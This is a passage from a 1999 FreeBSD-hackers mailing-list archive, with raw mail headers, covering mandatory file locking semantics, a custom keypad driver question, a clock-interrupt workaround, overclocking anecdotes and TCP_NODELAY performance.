Advisory locking lacks coherency for a NetWare, SMB, AppleTalk, or other file server running under FreeBSD as a hosted OS. It also has the problem that the hosted OS semantics, if they include mandatory locking, are not enforced against other processes, e.g. between an SMB server and an AppleTalk server running on the same machine, or beteen an SMB server and a UNIX program both needing access to the same database. > The most significant advantage I see with mandatory locking over > advisory locking is guaranteeing atomicity for things done by programs > that do use locking. This only protects the data when programs that > access the same data without locking don't need locking, which > generally means that they either don't need to modify the data or that > there can't be multiple instances of those other programs *and* the > modifications made are themselves atomic (can't be read-modify-write, > or even multiple writes if consistency is required). > > This is a somewhat limited set of cases. If anyone can come up with a > counter-example, please present it. See above. Also, I believe your example is flawed. If a file is opened by a process that requires mandatory locking, no process that does not also open the file with mandatory locking turned on can access the file. Neither can a program that requires mandatory locking semantics open the file if it is open by a process not using those same semantics. This means that your example applications that "access the same data without locking" can't exist. Mandatory locking for things like database files is necessary, unless the underlying FS supports records (in which case, like FILES-11, it most likely supports record locking anyway, and may only decide not to support them if it seperately implements a transaction facility). You have to have mandatory locking to implement transactions... like updating the parity bits on a RAID 5 stripe. This is why so many _real_ UNIX databases like to squat on their own raw disk partition. > Locking entire files, in addition to ranges, would seem to me to be of > further benefit, as it would allow properly locking programs to fully > protect against any single non-locking program which, like Greg's cat > example, would presumably be run interactively and thus would require > explicit stupidity to create additional races. This is already possible, using O_EXCL. Likewise, it doesn't apply to device files, and can not be applied (via fcntl(2)) to any files whose vnodes indirect through other than the vfsops version of "struct fileops". Greg's "cat example", I believe, was intended to illustrate the example of something which opens and closes the file between operations. These operations are, themselves, atomic, so in effect, the mandatory-lock-using program is dealing with a "snapshot" of the file, as far as it is concerned, with there being absolutely no danger of a process not obeying the access protocol running amok during the operation, merely because a range lock was not asserted. > Locking entire files is also the only way to ensure that non-locking > programs can even see the file in a consistent state. For SVR4 semantics, you can set the suid/sgid permission bits on a non-executable file. The act of opening the file for O_RDONLY sets a read lock on the entire file, which allows multiple readers, and the act of opening the file O_RDWR sets a write lock on the file, which allows a single writer. Again, there are no issues with badly behaved processes. There is no such thing as a badly behaved process. For mandatory range locks, you would have to implement a seperate open mode ("open for mandatory range locking"), and enforce against writing or reading, which requires modifying the system calls, any range which was not locked for writing or reading by the process making the request. Obviously, one mode could be the setgid bit being set on the file, and the other the setuid bit, and/or you could define additional open(2) flags and/or new chflags(1) arguments. The reason SVR4 uses the suid/sgid bits is that SVR4 has no chflags(1), an underlying FS type may not support chflags(1) attribute bits anyway, use of additional open(2) flags makes it non-mandatory for some openers who omit them, and every UNIX FS supports SUID/SGID bits. In both instances, it's probably wise to state that a blocking attempt at a write lock (an open without the O_NDELAY flag, for a file lock, or an attempt to set a lock via the F_SETLKW fcntl(2) command, for a range lock) would cause blocking attempts at read locks to queue up behind the write request, rather than completing, in order to prevent starvation deadlock for writers. > As a special case, mandatory locking could also be useful in ensuring > long-term exclusive access to some set of data, but this seems like > something that should be done using file permissions. SUID/SGID are stored as part of the file permission bits. Kind of makes the choice obvious, in retrospect. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 12: 5:41 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp01.primenet.com (smtp01.primenet.com [206.165.6.131]) by hub.freebsd.org (Postfix) with ESMTP id DE03014C31 for ; Wed, 25 Aug 1999 12:05:30 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from daemon@localhost) by smtp01.primenet.com (8.8.8/8.8.8) id MAA17636; Wed, 25 Aug 1999 12:05:25 -0700 (MST) Received: from usr08.primenet.com(206.165.6.208) via SMTP by smtp01.primenet.com, id smtpd017616; Wed Aug 25 12:05:22 1999 Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id MAA08521; Wed, 25 Aug 1999 12:05:15 -0700 (MST) From: Terry Lambert Message-Id: <199908251905.MAA08521@usr08.primenet.com> Subject: Re: Mandatory locking? To: rivers@dignus.com (Thomas David Rivers) Date: Wed, 25 Aug 1999 19:05:15 +0000 (GMT) Cc: bee@wipinfo.soft.net, hackers@FreeBSD.ORG In-Reply-To: <199908251005.GAA95394@lakes.dignus.com> from "Thomas David Rivers" at Aug 25, 99 06:05:11 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > All the files under Tandem's NSK has mandatory locking. The file cannot be > > opened if another process has it opened. some thing like > > > > * if the file is opened for reading, any one can open it for > > reading but opening for writing gives error > > * if the file is open for writing, it can't be opened for > > read/write > > * if the process holding the file is killed, the lock is gone > > * it is possible to get the pid of the process(es) which has > > a given file open (like which process has file "xyz" open? > > kind of query). btw, is there any way to get this info now in FBSD? > > This sounds interesting... > > But - aren't there NFS issues? I mean, in stateless access to > a file - how do you know if the process holding the file is killed > if it's remote? The remote lockd tells your local lockd about it. If the remote system dies entirely, your statd tells you about it. Mandatory locking via SGID/SUID bits works over NFS, so long as locking works over NFS, and so long as both the client and the server implement the same feature signalling mechanism. Yet another reason to not go the chflags/open parameter route, since neither can be communicated well over NFS. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 12: 9:27 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.6.134]) by hub.freebsd.org (Postfix) with ESMTP id 5AD76153B5 for ; Wed, 25 Aug 1999 12:09:16 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from daemon@localhost) by smtp04.primenet.com (8.9.3/8.9.3) id MAA29091; Wed, 25 Aug 1999 12:08:52 -0700 (MST) Received: from usr08.primenet.com(206.165.6.208) via SMTP by smtp04.primenet.com, id smtpdAAATSaiH4; Wed Aug 25 12:08:42 1999 Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id MAA08698; Wed, 25 Aug 1999 12:08:35 -0700 (MST) From: Terry Lambert Message-Id: <199908251908.MAA08698@usr08.primenet.com> Subject: Re: Mandatory locking? To: vanderh@ecf.utoronto.ca (Tim Vanderhoek) Date: Wed, 25 Aug 1999 19:08:35 +0000 (GMT) Cc: wes@softweyr.com, hackers@FreeBSD.ORG In-Reply-To: <19990825092143.C18970@ppp18415.on.bellglobal.com> from "Tim Vanderhoek" at Aug 25, 99 09:21:44 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > [Cc's trimmed] > > On Wed, Aug 25, 1999 at 12:15:24AM -0600, Wes Peters wrote: > > > > > > > > How 'bout "anyone who can kill the process holding the lock?" > > > > > > + file owner ( + root ). > > > > Which processes can't root kill? > > Zombies? :) Kill their parents. Eventually, you will get init to reap the process status. Not that this matters, of course, since a zombie has already engaged in resource tracking cleanup via _exit(). 8-p. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 12:21: 8 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.6.134]) by hub.freebsd.org (Postfix) with ESMTP id 20B3C15364; Wed, 25 Aug 1999 12:20:16 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from daemon@localhost) by smtp04.primenet.com (8.9.3/8.9.3) id MAA02433; Wed, 25 Aug 1999 12:19:39 -0700 (MST) Received: from usr08.primenet.com(206.165.6.208) via SMTP by smtp04.primenet.com, id smtpdAAANWaySe; Wed Aug 25 12:19:33 1999 Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id MAA09167; Wed, 25 Aug 1999 12:19:47 -0700 (MST) From: Terry Lambert Message-Id: <199908251919.MAA09167@usr08.primenet.com> Subject: Re: Mandatory locking? To: dcs@newsguy.com (Daniel C. Sobral) Date: Wed, 25 Aug 1999 19:19:46 +0000 (GMT) Cc: drosih@rpi.edu, grog@lemis.com, phk@critter.freebsd.dk, dillon@apollo.backplane.com, hackers@FreeBSD.ORG, cvs-committers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu In-Reply-To: <37C2ABE4.B2C12DA4@newsguy.com> from "Daniel C. Sobral" at Aug 24, 99 11:27:48 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > The thing about well-intentioned but incorrect locking code is that > it will appear to work fine, until it trips over the one code path > where it forgets to lock some file that it should have locked. And > even then, the code will "work" just fine, until multiple processes > are accessing that file at the same time. Which is why you perform unit testing, itegration testing, and full branch path validation, if you are a professional software engineer engaging in due dilligence. Unfortunately, most professional software engineers are only permitted by their management to engage in due dilligence when the softwar being worked on is part of a life-support system of some kind (e.g. the software that runs on the microcontroller in your cars anti-lock braking system). Most software malfunctions are the result of either software engineer unprofessionalism or management unprofessionalism, not because "software is magic" and not because "software is this amorphorous thing" and not because "the software is too complex for one mind to grasp all of it". Anyone who tells you any different is either lying or a hardware engineer. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 13:24:53 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from Ilsa.StevesCafe.com (Ilsa.StevesCafe.com [206.168.13.65]) by hub.freebsd.org (Postfix) with ESMTP id 81E9C153B8 for ; Wed, 25 Aug 1999 13:24:44 -0700 (PDT) (envelope-from fbsd@Ilsa.StevesCafe.com) Received: from Ilsa.StevesCafe.com (localhost [127.0.0.1]) by Ilsa.StevesCafe.com (8.9.3/8.9.3) with ESMTP id TAA35576 for ; Tue, 24 Aug 1999 19:13:03 -0600 (MDT) (envelope-from fbsd@Ilsa.StevesCafe.com) Message-Id: <199908250113.TAA35576@Ilsa.StevesCafe.com> X-Mailer: exmh version 2.0.2 2/24/98 From: Steve Passe To: hackers@FreeBSD.ORG Subject: keyboard + custom keypad. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 24 Aug 1999 19:13:03 -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I need to add a keypad to a product in development that will co-exist with the standard keyboard. It will be a fairly dumb pad capable of generating the equivalent of function keys F1 thru F8. The desired goals are: invisible to the syscons driver (and thus X11). works in parallel (ie. simultaniously) with the keyboard. Looking over the kbd/atkbd/atkbdc/syscons source I havn't yet "seen" a clear strategy for cleanly hooking into the existing code. Any suggestions? I also could use a pointer to any docs out there that describe the structure behind this new bus organization, and the keyboard drivers in particular! tia, -- Steve Passe | powered by smp@csn.net | Symmetric MultiProcessor FreeBSD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 14:12:14 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mercury.jorsm.com (mercury.jorsm.com [207.112.128.9]) by hub.freebsd.org (Postfix) with ESMTP id C9FC1152C8 for ; Wed, 25 Aug 1999 14:11:25 -0700 (PDT) (envelope-from jer@jorsm.com) Received: from localhost (jer@localhost) by mercury.jorsm.com (8.8.7/8.8.7) with SMTP id QAA02014 for ; Wed, 25 Aug 1999 16:09:07 -0500 (CDT) Date: Wed, 25 Aug 1999 16:09:06 -0500 (CDT) From: Jeremy Shaffner To: hackers@freebsd.org Subject: Alternate System Clock Dies on Asus P2B-S Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've added Tor Egge's "kludge" fix of adding while (rtcin(RTC_INTR) & RTCIR_PERIOD) statclock(&frame); ..to the beginning of clkintr() in /sys/i386/isa/clock.c, but when will there be a genuine fix? Is this an Asus problem? We are two BIOS revisions behind...would upgrading to the latest (1010. 07/29/99) help [this problem]? Does the problem (or the kludge) affect anything other than top and systat? Thanks, -=========================================================================- Jeremy Shaffner JORSM Internet, Regional Internet Services System Administrator 7 Area Codes in Chicagoland and NW Indiana jer@jorsm.com 100Mbps+ Connectivity, 56K-DS3, V.90, ISDN support@jorsm.com Quality Service, Affordable Prices http://www.jorsm.com Serving Gov, Biz, Indivds Since 1995 -=========================================================================- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 14:43:50 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (Postfix) with ESMTP id A7AA115185 for ; Wed, 25 Aug 1999 14:43:49 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost.cdrom.com [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id OAA01210; Wed, 25 Aug 1999 14:38:08 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199908252138.OAA01210@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: Steve Passe Cc: hackers@FreeBSD.ORG Subject: Re: keyboard + custom keypad. In-reply-to: Your message of "Tue, 24 Aug 1999 19:13:03 MDT." <199908250113.TAA35576@Ilsa.StevesCafe.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 25 Aug 1999 14:38:08 -0700 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hi, > > I need to add a keypad to a product in development that will co-exist > with the standard keyboard. It will be a fairly dumb pad capable of generating > the equivalent of function keys F1 thru F8. The desired goals are: > > invisible to the syscons driver (and thus X11). > works in parallel (ie. simultaniously) with the keyboard. > > Looking over the kbd/atkbd/atkbdc/syscons source I havn't yet "seen" > a clear strategy for cleanly hooking into the existing code. Any suggestions? > I also could use a pointer to any docs out there that describe the structure > behind this new bus organization, and the keyboard drivers in particular! You could just design the pad using a "keyboard wedge" so that it lives on the same bus as the keyboard. This is well-understood tech that's been used for years for things like barcode scanners... -- \\ The mind's the standard \\ Mike Smith \\ of the man. \\ msmith@freebsd.org \\ -- Joseph Merrick \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 14:55:31 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id F2AAF14E7E for ; Wed, 25 Aug 1999 14:55:29 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id OAA20226; Wed, 25 Aug 1999 14:54:18 -0700 (PDT) Received: from utah.XYLAN.COM by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id OAA18634; Wed, 25 Aug 1999 14:46:43 -0700 Received: from softweyr.com by utah.XYLAN.COM (SMI-8.6/SMI-SVR4 (xylan utah [SPOOL])) id PAA18093; Wed, 25 Aug 1999 15:54:16 -0600 Message-ID: <37C46608.EE8B41CD@softweyr.com> Date: Wed, 25 Aug 1999 15:54:16 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: "Jordan K. Hubbard" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: SPARC? References: <15704.935600210@localhost> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Jordan K. Hubbard" wrote: > > I > prodded Scott McNealy a couple of weeks ago about this, and he > responded... That's Jordan, out doing that "CEO Club" thing again. The next time you bump into Scott, throw him a body-check for me. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 15: 1:10 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id B65BD15104 for ; Wed, 25 Aug 1999 15:01:08 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id OAA20318; Wed, 25 Aug 1999 14:58:48 -0700 (PDT) Received: from utah.XYLAN.COM by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id OAA18845; Wed, 25 Aug 1999 14:51:13 -0700 Received: from softweyr.com by utah.XYLAN.COM (SMI-8.6/SMI-SVR4 (xylan utah [SPOOL])) id PAA18134; Wed, 25 Aug 1999 15:58:46 -0600 Message-ID: <37C46716.633BE9B2@softweyr.com> Date: Wed, 25 Aug 1999 15:58:46 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Matthew Dillon Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Sv: K6/3 on 3.2-STABLE - PROBLEM SOLVED References: <19990824132943.B11107@proxydev.inktomi.com> <199908242133.OAA18621@apollo.backplane.com> <19990824154432.A21013@proxydev.inktomi.com> <19990825020108.B20512@forty-two.egroups.net> <007c01beef22$859036a0$0e00a8c0@neland.dk> <199908251820.LAA14122@apollo.backplane.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon wrote: > > : > :Back around 1980, I overclocked my 5MHz z80 to 6MHz. It worked without problems, except that for-next loops in comal didn't exit as expected. That was also reproducible... > : > :Leif > > In the early 90's I regularly ran 10 MHz 68000's at 20 MHz (which was > about the limit the dynamic ram at the time could handle). > > When motorola started phasing out the DIP version of the 68000 after > many years of good service, one of their big customers noted that Motorola > had updated the process many times but had never updated the timing specs > during virtually the entire life of the product, and wanted to know how > fast the chip could actually be run. > > So Motorola tested it. I believe the 12.5 MHz spec'd chip tested > to 80 MHz. Not bad! I used to work on an embedded system that used the 16 Mhz 68EC000, and we encountered a situation where we needed to raise the clock to 20Mhz. We substituted a couple of 40 Mhz crystals for the 32 Mhz crystals and it worked fine. The next three boards we tried didn't work at all. We called Motorola and asked about 20 Mhz parts. They were on the verge of releasing them, so we asked for samples. They shipped us 20 parts directly out of factory test in south-east asia. The only difference between the 16 and 20 Mhz parts were the worst-case timing. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 15: 8:47 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id B504615364 for ; Wed, 25 Aug 1999 15:08:43 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id PAA20483; Wed, 25 Aug 1999 15:08:09 -0700 (PDT) Received: from utah.XYLAN.COM by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id PAA19237; Wed, 25 Aug 1999 15:00:33 -0700 Received: from softweyr.com by utah.XYLAN.COM (SMI-8.6/SMI-SVR4 (xylan utah [SPOOL])) id QAA18258; Wed, 25 Aug 1999 16:08:07 -0600 Message-ID: <37C46946.BDCE9B5@softweyr.com> Date: Wed, 25 Aug 1999 16:08:06 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: wayne@crb-web.com Cc: FreeBSD Hackers List Subject: Re: yea TCP_NODELAY Re: network performance vs. linux on small transfers References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wayne Cuddy wrote: > > Ok, if you suggested the TCP_NODELAY option you were right. Once we set this > FreeBSD sent 25 msgs/second, Linux did 22 msgs/second and HPSUX did 15 > msgs/second. (we TCP_NODELAY on all platforms) > > Is the Linux Nangle algo broken/different? It can be turned off by default, if ipv4 is compiled with CONFIG_TCP_NAGLE_OFF. Have you checked to see if this is the case on your system? -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 15:14:18 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 590A6152CE for ; Wed, 25 Aug 1999 15:14:12 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id PAA17169; Wed, 25 Aug 1999 15:12:58 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Wes Peters Cc: "Jordan K. Hubbard" , freebsd-hackers@FreeBSD.ORG Subject: Re: SPARC? In-reply-to: Your message of "Wed, 25 Aug 1999 15:54:16 MDT." <37C46608.EE8B41CD@softweyr.com> Date: Wed, 25 Aug 1999 15:12:58 -0700 Message-ID: <17165.935619178@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Heh, I didn't prod him *personally* - we're not quite in the same social circles as that (yet ;). - Jordan > "Jordan K. Hubbard" wrote: > > > > I > > prodded Scott McNealy a couple of weeks ago about this, and he > > responded... > > That's Jordan, out doing that "CEO Club" thing again. The next time you > bump into Scott, throw him a body-check for me. ;^) > > -- > "Where am I, and what am I doing in this handbasket?" > > Wes Peters Softweyr L LC > http://softweyr.com/ wes@softweyr.c om To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 15:14:38 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (Postfix) with ESMTP id 3ECB715CAC for ; Wed, 25 Aug 1999 15:14:34 -0700 (PDT) (envelope-from julian@whistle.com) Received: from current1.whistle.com (current1.whistle.com [207.76.205.22]) by alpo.whistle.com (8.9.1a/8.9.1) with SMTP id PAA23172; Wed, 25 Aug 1999 15:13:47 -0700 (PDT) Date: Wed, 25 Aug 1999 15:14:02 -0700 (PDT) From: Julian Elischer To: Wes Peters Cc: "Jordan K. Hubbard" , freebsd-hackers@FreeBSD.ORG Subject: Re: SPARC? In-Reply-To: <37C46608.EE8B41CD@softweyr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 25 Aug 1999, Wes Peters wrote: > "Jordan K. Hubbard" wrote: > > > > I > > prodded Scott McNealy a couple of weeks ago about this, and he > > responded... great.. I didn't see the original mail so I'll never know what he said..... :-) > > That's Jordan, out doing that "CEO Club" thing again. The next time you > bump into Scott, throw him a body-check for me. ;^) > > -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 16:39:47 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 0133414C49 for ; Wed, 25 Aug 1999 16:39:41 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id JAA04258; Thu, 26 Aug 1999 09:09:37 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id JAA06222; Thu, 26 Aug 1999 09:09:33 +0930 (CST) Date: Thu, 26 Aug 1999 09:09:33 +0930 From: Greg Lehey To: Thomas David Rivers Cc: bee@wipinfo.soft.net, hackers@FreeBSD.ORG Subject: Re: Mandatory locking? Message-ID: <19990826090933.T83273@freebie.lemis.com> References: <000301beeea6$1ea898a0$88291fac@wipro.tcpn.com> <199908251005.GAA95394@lakes.dignus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <199908251005.GAA95394@lakes.dignus.com>; from Thomas David Rivers on Wed, Aug 25, 1999 at 06:05:11AM -0400 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 25 August 1999 at 6:05:11 -0400, Thomas David Rivers wrote: >> All the files under Tandem's NSK has mandatory locking. The file cannot be >> opened if another process has it opened. some thing like >> >> * if the file is opened for reading, any one can open it for >> reading but opening for writing gives error >> * if the file is open for writing, it can't be opened for >> read/write >> * if the process holding the file is killed, the lock is gone >> * it is possible to get the pid of the process(es) which has >> a given file open (like which process has file "xyz" open? >> kind of query). btw, is there any way to get this info now in FBSD? > > This sounds interesting... > > But - aren't there NFS issues? I mean, in stateless access to > a file - how do you know if the process holding the file is killed > if it's remote? NSK is a prorietary operating system ("NonStop Kernel", previously known as Guardian, previously known as TOS), not UNIX. There is no NFS, and there is no distinction between network access and local access: all goes over the message system. When a file is closed, its locks are released. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 16:57: 1 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from ns1.adsu.bellsouth.com (ns1.adsu.bellsouth.com [205.152.173.2]) by hub.freebsd.org (Postfix) with ESMTP id 3F5D415B2B for ; Wed, 25 Aug 1999 16:56:24 -0700 (PDT) (envelope-from ck@ns1.adsu.bellsouth.com) Received: (from ck@localhost) by ns1.adsu.bellsouth.com (8.9.1a/8.9.1) id TAA05495; Wed, 25 Aug 1999 19:53:22 -0400 (EDT) Date: Wed, 25 Aug 1999 19:53:22 -0400 From: Christian Kuhtz To: Greg Lehey Cc: Thomas David Rivers , bee@wipinfo.soft.net, hackers@FreeBSD.ORG Subject: Re: Mandatory locking? Message-ID: <19990825195322.D4723@ns1.adsu.bellsouth.com> References: <000301beeea6$1ea898a0$88291fac@wipro.tcpn.com> <199908251005.GAA95394@lakes.dignus.com> <19990826090933.T83273@freebie.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: <19990826090933.T83273@freebie.lemis.com>; from Greg Lehey on Thu, Aug 26, 1999 at 09:09:33AM +0930 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Aug 26, 1999 at 09:09:33AM +0930, Greg Lehey wrote: > On Wednesday, 25 August 1999 at 6:05:11 -0400, Thomas David Rivers wrote: > >> All the files under Tandem's NSK has mandatory locking. The file cannot be > >> opened if another process has it opened. some thing like > >> > >> * if the file is opened for reading, any one can open it for > >> reading but opening for writing gives error > >> * if the file is open for writing, it can't be opened for > >> read/write > >> * if the process holding the file is killed, the lock is gone > >> * it is possible to get the pid of the process(es) which has > >> a given file open (like which process has file "xyz" open? > >> kind of query). btw, is there any way to get this info now in FBSD? > > > > This sounds interesting... > > > > But - aren't there NFS issues? I mean, in stateless access to > > a file - how do you know if the process holding the file is killed > > if it's remote? > > NSK is a prorietary operating system ("NonStop Kernel", previously > known as Guardian, previously known as TOS), not UNIX. There is no > NFS, and there is no distinction between network access and local > access: all goes over the message system. When a file is closed, its > locks are released. How does this message system handle releasing stale locks when components talking to the message system die unexpectedly? Is there some sort of aging, override or timeout mechanism to purge stale locks? -- Christian Kuhtz, Sr. Network Architect BellSouth Corporation -wk, -hm Advanced Data Services "Affiliation given for identification, not representation." Atlanta, GA, U.S. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 18:15: 7 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from quackerjack.cc.vt.edu (quackerjack.cc.vt.edu [198.82.160.250]) by 